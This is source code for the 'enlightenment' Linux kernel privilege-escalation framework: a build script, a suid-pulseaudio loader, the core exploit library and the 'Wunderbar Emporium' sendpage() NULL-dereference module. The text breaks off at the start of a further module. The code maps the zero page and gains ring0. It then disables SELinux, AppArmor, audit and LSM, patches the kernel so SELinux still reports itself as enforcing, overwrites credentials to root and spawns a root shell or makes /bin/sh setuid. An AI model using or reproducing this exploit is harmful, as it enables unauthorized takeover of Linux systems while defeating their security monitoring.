/* enlightenment 200909092307
To create your own exploit module for enlightenment, just name it exp_whatever.c It will be auto-compiled by the run_exploits.sh script and thrown into the list of loaded exploit modules
Each module must have the following features: It must include this header file, exp_framework.h A description of the exploit, the variable being named "desc" A "prepare" function: int prepare(unsigned char *ptr) where ptr is the ptr to the NULL mapping, which you are able to write to This function can return the flags described below for prepare_the_exploit Return 0 for failure otherwise A "trigger" function: int trigger(void) Return 0 for failure, nonzero for success A "post" function: int post(void) This function can return the flags described below for post_exploit A "get_exploit_state_ptr" function: int get_exploit_state_ptr(struct exploit_state *ptr) Generally this will always be implemented as: struct *exp_state; int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; } It gives you access to the exploit_state structure listed below, get_kernel_sym allows you to resolve symbols own_the_kernel is the function that takes control of the kernel (in case you need its address to set up your buffer) the other variables describe the exploit environment, so you can for instance, loop through a number of vulnerable socket domains until you detect ring0 execution has occurred.
That's it!
http://www.grsecurity.net/~spender/enlightenment.tgz back: http://milw0rm.com/sploits/2009-enlightenment.tgz
*/
---------------------------------run_exploits.sh--------------------------------
#!/bin/sh killall -9 pulseaudio 2> /dev/null IS_64=`uname -m` OPT_FLAG="-ldl" if [ "$IS_64" = "x86_64" ]; then OPT_FLAG="-m64 -ldl" fi if [ -d /usr/include/selinux ]; then OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux" fi
for FILE in exp_*.c; do echo "Compiling $FILE..." cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE 2> /dev/null if [ "$?" = "1" ]; then cc -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE 2> /dev/null fi done
ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'` MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null` if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c mv exploit.c exploit2.c mv exploit1.c exploit.c cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null if [ "$?" = "1" ]; then cc $OPT_FLAG -o exploit exploit.c 2> /dev/null fi mv -f exploit2.c exploit.c ./exploit elif [ ! -f '/selinux/enforce' ]; then sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c mv exploit.c exploit2.c mv exploit1.c exploit.c cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c 2> /dev/null if [ "$?" = "1" ]; then cc -fPIC $OPT_FLAG -shared -o exploit.so exploit.c 2> /dev/null fi mv -f exploit2.c exploit.c sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c mv pwnkernel.c pwnkernel2.c mv pwnkernel1.c pwnkernel.c cc $OPT_FLAG -o pwnkernel pwnkernel.c mv -f pwnkernel2.c pwnkernel.c ./pwnkernel else sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c mv exploit.c exploit2.c mv exploit1.c exploit.c cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null if [ "$?" = "1" ]; then cc $OPT_FLAG -o exploit exploit.c 2> /dev/null fi mv -f exploit2.c exploit.c ./exploit fi
---------------------------------pwnkernel.c-----------------------------------
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/personality.h> #include <sys/stat.h>
#define PULSEAUDIO_PATH "/usr/bin/pulseaudio" #define PATH_TO_EXPLOIT "/home/spender/exploit.so"
int main(void) { int ret; struct stat fstat;
ret = personality(PER_SVR4);
if (ret == -1) { fprintf(stderr, "Unable to set personality!\n"); return 0; }
fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
if (stat(PULSEAUDIO_PATH, &fstat)) { fprintf(stderr, "Pulseaudio does not exist!\n"); return 0; }
if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) { fprintf(stderr, "Pulseaudio is not suid root!\n"); return 0; } execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
return 0; }
----------------------------exploit.c---------------------------------------
/* exploit lib */
#include <asm/unistd.h> #include <signal.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/file.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/user.h> #include <sys/personality.h> #include <time.h> #include <unistd.h> #include <fnmatch.h> #include <dirent.h> #include <dlfcn.h> #include "exp_framework.h" #ifdef HAVE_SELINUX #include <selinux/selinux.h> #include <selinux/context.h> #endif
typedef int (*_prepare_for_exploit)(unsigned char *buf); typedef int (*_trigger_the_bug)(void); typedef int (*_post_exploit)(void); typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);
#define MAX_EXPLOITS 32
struct exploit_module { char desc[512]; _get_exploit_state_ptr get_exploit_state_ptr; _prepare_for_exploit prep; _trigger_the_bug trigger; _post_exploit post; } modules[MAX_EXPLOITS]; int num_exploits = 0;
char *thoughts[] = { "The limits of my language are the limits of my mind. All I know is what I have words for. --Wittgenstein", "A clock struck noon; Lucien rose. The metamorphosis was complete: " \ "a graceful, uncertain adolescent had entered this cafe one hour " \ "earlier; now a man left, a leader among Frenchmen. Lucien took a few " \ "steps in the glorious light of a French morning. At the corner of " \ "Rue des Ecoles and the Boulevard Saint-Michel he went towards a "\ "stationery shop and looked at himself in the mirror: he would have " \ "liked to find on his own face the impenetrable look he admired on " \ "Lemordant's. But the mirror only reflected a pretty, headstrong " \ "little face that was not yet terrible. \"I'll grow a moustache,\" " \ "he decided. --Sartre", "The whole problem with the world is that fools and fanatics are always " \ "so full of themselves, but wiser people so full of doubts. --Russell", "Mathematics, rightly viewed, posses not only truth, but supreme " \ "beauty cold and austere, like that of sculpture. --Russell", "The person who writes for fools is always sure of a large audience. --Schopenhauer", "With people of limited ability modesty is merely honesty. But " \ "with those who possess real talent it is hypocrisy. --Schopenhauer", "Seek not the favor of the multitude; it is seldom got by honest and lawful means. " \ "But seek the testimony of few; and number not voices, but weigh them. --Kant", "At this moment, when each of us must fit an arrow to his bow and " \ "enter the lists anew, to reconquer, within history and in spite of it, " \ "that which he owns already, the thin yield of his fields, the brief " \ "love of the earth, at this moment when at last a man is born, it is " \ "time to forsake our age and its adolescent furies. The bow bends; " \ "the wood complains. At the moment of supreme tension, there will " \ "leap into flight an unswerving arrow, a shaft that is inflexible and " \ "free. --Camus", "We forfeit three-quarters of ourselves in order to be like other people. --Schopenhauer", "Style is what gives value and currency to thoughts. --Schopenhauer", "Every truth passes through three stages before it is recognized. In " \ "the first it is ridiculed, in the second it is opposed, in the third " \ "it is regarded as self evident. --Schopenhauer", "Before the Law stands a doorkeeper. To this doorkeeper there comes a " \ "man from the country who begs for admittance to the Law. But the doorkeeper " \ "says that he cannot admit the man at the moment. The man, on reflection, asks " \ "if he will be allowed, then, to enter later. 'It is possible,' answers " \ "the doorkeeper, 'but not at this moment.' Since the door leading into the Law " \ "stands open as usual and the doorkeeper steps to one side, the man bends " \ "down to peer through the entrance. When the doorkeeper sees that, he laughs " \ "and says: 'If you are so strongly tempted, try to get in without my " \ "permission. But note that I am powerful. And I am only the lowest " \ "doorkeeper. From hall to hall, keepers stand at every door, one more powerful " \ "than the other. And the sight of the third man is already more than even I " \ "can stand.' These are difficulties which the man from the country has not " \ "expected to meet, the Law, he thinks, should be accessible to every man " \ "and at all times, but when he looks more closely at the doorkeeper in his " \ "furred robe, with his huge, pointed nose and long, thin, Tartar beard, " \ "he decides that he had better wait until he gets permission to enter. " \ "The doorkeeper gives him a stool and lets him sit down at the side of " \ "the door. There he sits waiting for days and years. He makes many " \ "attempts to be allowed in and wearies the doorkeeper with his importunity. " \ "The doorkeeper often engages him in brief conversation, asking him about " \ "his home and about other matters, but the questions are put quite impersonally, " \ "as great men put questions, and always conclude with the statement that the man " \ "cannot be allowed to enter yet. The man, who has equipped himself with many " \ "things for his journey, parts with all he has, however valuable, in the hope " \ "of bribing the doorkeeper. The doorkeeper accepts it all, saying, however, " \ "as he takes each gift: 'I take this only to keep you from feeling that you " \ "have left something undone.' During all these long years the man watches " \ "the doorkeeper almost incessantly. He forgets about the other doorkeepers, " \ "and this one seems to him the only barrier between himself and the Law. " \ "In the first years he curses his evil fate aloud; later, as he grows old, " \ "he only mutters to himself. He grows childish, and since in his prolonged " \ "study of the doorkeeper he has learned to know even the fleas in his fur " \ "collar, he begs the very fleas to help him and to persuade the doorkeeper " \ "to change his mind. Finally his eyes grow dim and he does not know whether " \ "the world is really darkening around him or whether his eyes are only " \ "deceiving him. But in the darkness he can now perceive a radiance that streams " \ "inextinguishably from the door of the Law. Now his life is drawing to a close. " \ "Before he dies, all that he has experienced during the whole time of his sojourn " \ "condenses in his mind into one question, which he has never yet put to the " \ "doorkeeper. He beckons the doorkeeper, since he can no longer raise his stiffening " \ "body. The doorkeeper has to bend far down to hear him, for the difference in " \ "size between them has increased very much to the man's disadvantage. 'What " \ "do you want to know now?' asks the doorkeeper, 'you are insatiable.' " \ "'Everyone strives to attain the Law,' answers the man, 'how does it come " \ "about, then, that in all these years no one has come seeking admittance " \ "but me?' The doorkeeper perceives that the man is nearing his end and his " \ "hearing is failing, so he bellows in his ear: 'No one but you could gain " \ "admittance through this door, since this door was intended for you. " \ "I am now going to shut it.' --Kafka", "These are the conclusions of individualism in revolt. The individual cannot " \ "accept history as it is. He must destroy reality, not collaborate with it, " \ "in order to reaffirm his own existence. --Camus", "The desire for possession is only another form of the desire to endure; it is " \ "this that comprises the impotent delirium of love. No human being, even " \ "the most passionately loved and passionately loving, is ever in our possession. --Camus", "In art, rebellion is consummated and perpetuated in the act of real creation, " \ "not in criticism or commentary. --Camus", "There is, therefore, only one categorical imperative. It is: Act only according " \ "to that maxim by which you can at the same time will that it should become a " \ "universal law. --Kant", "You have your way. I have my way. As for the right way, the correct way, and " \ "the only way, it does not exist. --Nietzsche", "The person lives most beautifully who does not reflect upon existence. --Nietzsche", "To be free is nothing, to become free is everything. --Hegel", "Man acts as though he were the shaper and master of language, while in fact language " \ "remains the master of man. --Heidegger", "Truth always rests with the minority, and the minority is always stronger than the " \ "majority, because the minority is generally formed by those who really have an " \ "opinion, while the strength of a majority is illusory, formed by the gangs who " \ "have no opinion -- and who, therefore, in the next instant (when it is evident " \ "that the minority is the stronger) assume its opinion... while truth again reverts " \ "to a new minority. --Kierkegaard", "Reading furnishes the mind only with materials of knowledge; it is thinking that " \ "makes what we read ours. --Locke", "I would warn you that I do not attribute to nature either beauty or deformity, " \ "order or confusion. Only in relation to our imagination can things be called " \ "beautiful or ugly, well-ordered or confused. --Spinoza", "The work of an intellectual is not to mould the political will of others; it is, " \ "through the analyses that he does in his own field, to re-examine evidence and " \ "assumptions, to shake up habitual ways of working and thinking, to dissipate " \ "conventional familiarities, to re-evaluate rules and institutions and to " \ "participate in the formation of a political will (where he has his role as " \ "citizen to play). --Foucault", "The more I read, the more I meditate; and the more I acquire, the more I am " \ "enabled to affirm that I know nothing. --Voltaire" };
void RANDOM_THOUGHT(void) { int i; char *thought; char *p, *p2; char c; int size_of_thought; srand(time(NULL)); thought = strdup(thoughts[rand() % (sizeof(thoughts)/sizeof(thoughts[0]))]); if (thought == NULL) return; size_of_thought = strlen(thought); fprintf(stdout, " ------------------------------------------------------------------------------\n"); for (i = 0; i < size_of_thought;) { if (i + 78 >= size_of_thought) { fprintf(stdout, " %.78s\n", &thought[i]); break; } p = &thought[i + 77]; c = *p; *p = '\0'; p2 = strrchr(&thought[i], ' '); *p = c; if (p2) { *p2 = '\n'; c = p2[1]; p2[1] = '\0'; fprintf(stdout, " %.78s", &thought[i]); p2[1] = c; i += (int)((unsigned long)p2 + 1 - (unsigned long)&thought[i]); } else { fprintf(stdout, " %.78s\n", &thought[i]); break; } } fprintf(stdout, " ------------------------------------------------------------------------------\n"); free(thought); }
int check_entry(const struct dirent *dir) { if (!fnmatch("exp_*.so", dir->d_name, 0)) return 1; return 0; }
void add_exploit_modules(void) { struct dirent **namelist; void *mod; void *desc, *prepare, *trigger, *post, *get_exp_state_ptr; char tmpname[PATH_MAX]; int n; int i;
chdir("/home/spender");
n = scandir(".", &namelist, &check_entry, alphasort); if (n < 0) { fprintf(stdout, "No exploit modules found, exiting...\n"); exit(1); } for (i = 0; i < n; i++) { snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name); tmpname[sizeof(tmpname)-1] = '\0'; mod = dlopen(tmpname, RTLD_NOW); if (mod == NULL) { unable_to_load: fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name); free(namelist[i]); continue; } desc = dlsym(mod, "desc"); prepare = dlsym(mod, "prepare"); trigger = dlsym(mod, "trigger"); post = dlsym(mod, "post"); get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");
if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL) goto unable_to_load;
if (num_exploits >= MAX_EXPLOITS) { fprintf(stdout, "Max exploits reached.\n"); return; } strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1); modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0'; modules[num_exploits].prep = (_prepare_for_exploit)prepare; modules[num_exploits].trigger = (_trigger_the_bug)trigger; modules[num_exploits].post = (_post_exploit)post; modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
num_exploits++; }
return; }
struct exploit_state exp_state; int eightk_stack = 0; int twofourstyle = 0; unsigned long current_addr = 0; int cred_support = 0; int cred_offset = 0; unsigned long init_cred_addr = 0;
#define TASK_RUNNING 0
#ifdef __x86_64__ #define KERNEL_BASE 0xffffffff80200000UL #define KSTACK_MIN 0xf000000000000000UL #define KSTACK_MAX 0xfffffffff0000000UL #else #define KERNEL_BASE 0xc0000000UL #define KSTACK_MIN 0xc0000000UL #define KSTACK_MAX 0xfffff000UL #endif
static inline unsigned long get_current_4k(void) { unsigned long current = 0;
current = (unsigned long)¤t;
current = *(unsigned long *)(current & ~(0x1000 - 1)); if (current < KSTACK_MIN || current > KSTACK_MAX) return 0; if (*(long *)current != TASK_RUNNING) return 0;
return current; }
static inline unsigned long get_current_8k(void) { unsigned long current = 0; unsigned long oldstyle = 0;
eightk_stack = 1;
current = (unsigned long)¤t; oldstyle = current & ~(0x2000 - 1); current = *(unsigned long *)(oldstyle);
twofourstyle = 1; if (current < KSTACK_MIN || current > KSTACK_MAX) return oldstyle; if (*(long *)current != TASK_RUNNING) return oldstyle;
twofourstyle = 0; return current; }
static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret;
f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing!\n"); exit(0); } }
ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } }
fclose(f); return 0; }
int *audit_enabled; int *ima_audit;
int *selinux_enforcing; int *selinux_enabled; int *sel_enforce_ptr;
int *apparmor_enabled; int *apparmor_logsyscall; int *apparmor_audit; int *apparmor_complain;
unsigned long *security_ops; unsigned long default_security_ops;
unsigned long sel_read_enforce;
int what_we_do;
unsigned int our_uid;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;
struct cred { int usage; // must be >= 4 int uid; // 0 int gid; // 0 int suid; // 0 int sgid; // 0 int euid; // 0 int egid; // 0 int fsuid; // 0 int fsgid; // 0 int securebits; // SECUREBITS_DEFAULT 0x00000000 unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0} unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 } unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 } unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET };
static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current) { /* cause it's a trillion dollar industry */ unsigned char *current = (unsigned char *)orig_current; unsigned char *kernel_scan_start; struct cred *tmp, **cred, **real_cred; int i;
kernel_scan_start = (unsigned char *)KERNEL_BASE;
/* ok, we couldn't find our UIDs in the task struct and we don't have the symbols for the creds framework, discover it in a stupidly easy way: in task_struct: ...stuff... const struct cred *real_cred; const struct cred *cred; struct mutex cred_exec_mutex; char comm[16]; ...stuff...
if we were executed from main, then our name is "exploit", otherwise it's "pulseaudio" then we find init_cred through heuristics increment its refcnt appropriately and set up our credentials */
for (i = 0; i < 0x1000 - 16; i++) { if ((exp_state.run_from_main == 1 && !memcmp(¤t[i], "exploit", strlen("exploit") + 1)) || (exp_state.run_from_main == 0 && !memcmp(¤t[i], "pulseaudio", strlen("pulseaudio") + 1))) { /* now work backwards till we find the unlocked cred mutex, then the previous two pointers are our cred pointers we want to support any additional debugging members of the mutex struct so we won't hard-code any lengths */ for (i-=4; i > 0; i-=4) { if (*((unsigned int *)¤t[i]) == 1) { // unlocked cred_offset = i - (2 * sizeof(char *)); real_cred = (struct cred **)¤t[i-(2*sizeof(char *))]; cred = (struct cred **)¤t[i-sizeof(char *)]; for (i = 0; i < 0x1000000; i+=4) { tmp = (struct cred *)&kernel_scan_start[i]; if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 && tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 && tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 && tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 && tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 && tmp->cap_permitted[1] == ~0 && tmp->cap_effective[0] == ~(1 << 8) && tmp->cap_effective[1] == ~0 && (tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) && tmp->cap_bset[1] == ~0) { /* finally, found init_cred, so now point our cred struct to it, and increment usage! */ init_cred_addr = (unsigned long)tmp; *real_cred = *cred = tmp; tmp->usage+=2; exp_state.got_root = 1; return; } } return; } } return; } } return; }
static void give_it_to_me_any_way_you_can(void) { if (commit_creds && prepare_kernel_cred) { commit_creds(prepare_kernel_cred(0)); exp_state.got_root = 1; } else { unsigned int *current; unsigned long orig_current;
orig_current = get_current_4k(); if (orig_current == 0) orig_current = get_current_8k();
current_addr = orig_current;
current = (unsigned int *)orig_current; while (((unsigned long)current < (orig_current + 0x1000 - 17 )) && (current[0] != our_uid || current[1] != our_uid || current[2] != our_uid || current[3] != our_uid)) current++;
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) { bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current); cred_support = 1; return; } exp_state.got_root = 1; memset(current, 0, sizeof(unsigned int) * 8); }
return; }
static int __attribute__((regparm(3))) own_the_kernel(unsigned long a) { exp_state.got_ring0 = 1;
if (audit_enabled) *audit_enabled = 0;
if (ima_audit) *ima_audit = 0;
// disable apparmor if (apparmor_enabled && *apparmor_enabled) { what_we_do = 1; *apparmor_enabled = 0; if (apparmor_audit) *apparmor_audit = 0; if (apparmor_logsyscall) *apparmor_logsyscall = 0; if (apparmor_complain) *apparmor_complain = 0; }
// disable SELinux if (selinux_enforcing && *selinux_enforcing) { what_we_do = 2; *selinux_enforcing = 0; }
if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) { // trash LSM if (default_security_ops && security_ops) { if (*security_ops != default_security_ops) what_we_do = 3; *security_ops = default_security_ops; } }
/* make the idiots think selinux is enforcing */ if (sel_read_enforce) { unsigned char *p; unsigned long _cr0;
asm volatile ( "mov %%cr0, %0" : "=r" (_cr0) ); _cr0 &= ~0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); if (sizeof(unsigned int) != sizeof(unsigned long)) { /* 64bit version, look for the mov ecx, [rip+off] and replace with mov ecx, 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) { if (p[0] == 0x8b && p[1] == 0x0d) { if (!selinux_enforcing) { // determine address of rip+off, as it's our selinux_enforcing sel_enforce_ptr = (int *)((char *)p + 6 + *(int *)&p[2]); if (*sel_enforce_ptr) { *sel_enforce_ptr = 0; what_we_do = 2; } } if (what_we_do == 2) { p[0] = '\xb9'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } } } else { /* 32bit, replace push [selinux_enforcing] with push 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) { if (p[0] == 0xff && p[1] == 0x35 && *(unsigned int *)&p[2] > 0xc0000000) { // while we're at it, disable // SELinux without having a // symbol for selinux_enforcing ;) if (!selinux_enforcing) { sel_enforce_ptr = *(int **)&p[2]; if (*sel_enforce_ptr) { *sel_enforce_ptr = 0; what_we_do = 2; } } if (what_we_do == 2) { p[0] = '\x68'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } else if (p[0] == 0xa1 && *(unsigned int *)&p[1] > 0xc0000000) { /* old 2.6 are compiled different */ if (!selinux_enforcing) { sel_enforce_ptr = *(int **)&p[1]; if (*sel_enforce_ptr) { *sel_enforce_ptr = 0; what_we_do = 2; } } if (what_we_do == 2) { p[0] = '\xb8'; *(unsigned int *)&p[1] = 1; } } } } _cr0 |= 0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); }
// push it real good give_it_to_me_any_way_you_can();
return -1; }
int pa__init(void *m) { unsigned char *mem = NULL; _prepare_for_exploit prepare; _trigger_the_bug trigger; _get_exploit_state_ptr get_exploit_state_ptr; _post_exploit post; int ret; int i;
if ((personality(0xffffffff)) != PER_SVR4) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); goto boo_hiss; } } } else { ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); if (ret == -1) { fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); goto boo_hiss; } } goto great_success; boo_hiss: #ifdef HAVE_SELINUX if (exp_state.run_from_main == 1 && is_selinux_enabled()) { security_context_t scontext; context_t newcontext; int retval;
retval = getcon(&scontext); if (retval < 0) goto oh_fail;
if (strstr(scontext, ":wine_t:")) { /* don't repeat */ exit(1); }
fprintf(stdout, "But wait! Perhaps SELinux can revive this dead exploit...\n"); newcontext = context_new(scontext); freecon(scontext); retval = context_type_set(newcontext, "wine_t"); if (retval) goto oh_fail; scontext = context_str(newcontext); if (scontext == NULL) goto oh_fail; if (security_check_context(scontext) < 0) goto oh_fail; retval = setexeccon(scontext); if (retval < 0) goto oh_fail; context_free(newcontext); fprintf(stdout, "This looks promising!\n"); execl("/proc/self/exe", NULL); } oh_fail: fprintf(stdout, "Nope ;(\n"); #endif exit(1); great_success: fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");
add_exploit_modules();
if (num_exploits == 0) { fprintf(stdout, "No exploit modules detected, exiting.\n"); exit(1); }
repeat_it: fprintf(stdout, "Choose your exploit:\n"); for (i = 0; i < num_exploits; i++) fprintf(stdout, " [%d] %s\n", i, modules[i].desc); fprintf(stdout, " [%d] Exit\n", i); fprintf(stdout, "> "); fflush(stdout); scanf("%d", &ret); if (ret == i) exit(0); if (ret < 0 || ret >= num_exploits) { fprintf(stdout, "Invalid number.\n"); goto repeat_it; }
RANDOM_THOUGHT();
prepare = modules[ret].prep; trigger = modules[ret].trigger; get_exploit_state_ptr = modules[ret].get_exploit_state_ptr; post = modules[ret].post;
exp_state.get_kernel_sym = (_get_kernel_sym)&get_kernel_sym; exp_state.own_the_kernel = (void *)&own_the_kernel; get_exploit_state_ptr(&exp_state);
our_uid = getuid();
ima_audit = (int *)get_kernel_sym("ima_audit"); selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing"); selinux_enabled = (int *)get_kernel_sym("selinux_enabled"); apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled"); apparmor_complain = (int *)get_kernel_sym("apparmor_complain"); apparmor_audit = (int *)get_kernel_sym("apparmor_audit"); apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall"); security_ops = (unsigned long *)get_kernel_sym("security_ops"); default_security_ops = get_kernel_sym("default_security_ops"); sel_read_enforce = get_kernel_sym("sel_read_enforce"); audit_enabled = (int *)get_kernel_sym("audit_enabled"); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
ret = prepare(mem); if (ret == STRAIGHT_UP_EXECUTION_AT_NULL) { mem[0] = '\xff'; mem[1] = '\x25'; *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6; *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel; } else if ((ret & EXECUTE_AT_NONZERO_OFFSET) == EXECUTE_AT_NONZERO_OFFSET) { int off = ret & 0xfff; mem[off] = '\xff'; mem[off + 1] = '\x25'; *(unsigned int *)&mem[off + 2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : off + 6; *(unsigned long *)&mem[off + 6] = (unsigned long)&own_the_kernel; }
/* trigger it */ ret = trigger(); if (!ret) exit(0);
if (exp_state.got_ring0) { fprintf(stdout, " [+] got ring0!\n"); } else { fprintf(stdout, "didn't get ring0, bailing\n"); exit(0); }
if (commit_creds && prepare_kernel_cred) fprintf(stdout, " [+] detected cred support\n"); else fprintf(stdout, " [+] detected %s %dk stacks, with current at %p%s\n", twofourstyle ? "2.4 style" : "2.6 style", eightk_stack ? 8 : 4, (char *)current_addr, cred_support ? " and cred support" : ""); if (cred_offset) fprintf(stdout, " [+] cred ptrs offset found at 0x%04x in task struct\n", cred_offset); if (init_cred_addr) fprintf(stdout, " [+] init_cred found at %p\n", (char *)init_cred_addr);
{ char *msg; switch (what_we_do) { case 1: msg = "AppArmor"; break; case 2: msg = "SELinux"; break; case 3: msg = "LSM"; break; default: msg = "nothing, what an insecure machine!"; } fprintf(stdout, " [+] Disabled security of : %s\n", msg); }
if (exp_state.got_root == 1) fprintf(stdout, " [+] Got root!\n"); else { fprintf(stdout, " [+] Failed to get root :(\n"); exit(0); }
ret = post(); if (ret == RUN_ROOTSHELL) execl("/bin/sh", "/bin/sh", "-i", NULL); else if (ret == CHMOD_SHELL) { chmod("/bin/sh", 04755); fprintf(stdout, "/bin/sh is now setuid root.\n"); }
return 0; }
void pa__done(void *m) { return; }
int main(void) { exp_state.run_from_main = 1; pa__init(NULL); return 0; }
-------------------------------------------exp_wunderbar.c-----------------------------------
/* wunderbar */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/sendfile.h> #include "exp_framework.h"
struct exploit_state *exp_state;
#define DOMAINS_STOP -1 #define VIDEO_SIZE 4171600 #ifndef IPPROTO_SCTP #define IPPROTO_SCTP 132 #endif #ifndef PX_PROTO_OL2TP #define PX_PROTO_OL2TP 1 #endif #ifndef PF_IUCV #define PF_IUCV 32 #endif
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 }, {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 }, {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 }, {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 }, {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP }, {PF_PPPOX, SOCK_DGRAM, 0 }, {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP }, {DOMAINS_STOP, 0, 0 } };
char *desc = "Wunderbar Emporium: Linux 2.X sendpage() local root";
int prepare(unsigned char *buf) { return STRAIGHT_UP_EXECUTION_AT_NULL; }
int get_exploit_state_ptr(struct exploit_state *ptr) { exp_state = ptr; return 0; }
int trigger(void) { while (exp_state->got_ring0 == 0) { char template[] = "/tmp/sendfile.XXXXXX"; int d; int in, out;
// Setup source descriptor if ((in = mkstemp(template)) < 0) { fprintf(stdout, "failed to open input descriptor, %m\n"); return 0; }
unlink(template);
// Find a vulnerable domain for (d = 0; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; }
if (out < 0) { fprintf(stdout, "unable to find a vulnerable domain, sorry\n"); return 0; }
// Truncate input file to some large value ftruncate(in, getpagesize());
// sendfile() to trigger the bug. sendfile(out, in, NULL, getpagesize()); }
return 1; }
int post(void) { return RUN_ROOTSHELL; }
-------------------------------------exp_therebel.c-------------------------------------------------
/* the rebel */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include "exp_framework.h"
